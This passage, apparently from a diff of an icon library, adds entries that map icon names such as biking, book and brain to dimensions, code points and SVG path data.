0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z" ], + biking: [ 640, 512, [], "f84a", "M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z" ], + binoculars: [ 512, 512, [], "f1e5", "M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z" ], + biohazard: [ 576, 512, [], "f780", "M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "birthday-cake": [ 448, 512, [], "f1fd", "M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z" ], + blender: [ 512, 512, [], "f517", "M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z" ], + "blender-phone": [ 576, 512, [], "f6b6", "M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + blind: [ 384, 512, [], "f29d", "M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z" ], + blog: [ 512, 512, [], "f781", "M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z" ], + bold: [ 384, 512, [], "f032", "M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z" ], + bolt: [ 320, 512, [], "f0e7", "M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z" ], + bomb: [ 512, 512, [], "f1e2", "M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z" ], + bone: [ 640, 512, [], "f5d7", "M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z" ], + bong: [ 448, 512, [], "f55c", "M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z" ], + book: [ 448, 512, [], "f02d", "M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z" ], + "book-dead": [ 448, 512, [], "f6b7", "M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z" ], + "book-medical": [ 448, 512, [], "f7e6", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z" ], + "book-open": [ 576, 512, [], "f518", "M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z" ], + "book-reader": [ 512, 512, [], "f5da", "M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z" ], + bookmark: [ 384, 512, [], "f02e", "M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z" ], + "border-all": [ 448, 512, [], "f84c", "M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z" ], + "border-none": [ 448, 512, [], "f850", "M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "border-style": [ 448, 512, [], "f853", "M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "bowling-ball": [ 496, 512, [], "f436", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + box: [ 512, 512, [], "f466", "M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z" ], + "box-open": [ 640, 512, [], "f49e", "M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z" ], + "box-tissue": [ 512, 512, [], "e05b", "M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z" ], + boxes: [ 576, 512, [], "f468", "M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z" ], + braille: [ 640, 512, [], "f2a1", "M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" ], + brain: [ 576, 512, [], "f5dc", "M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z" ], + "bread-slice": [ 576, 512, [], "f7ec", "M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z" ], + briefcase: [ 512, 512, [], "f0b1", "M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z" ], + "briefcase-medical": [ 512, 512, [], "f469", "M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z" ], + "broadcast-tower": [ 640, 512, [], "f519", "M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 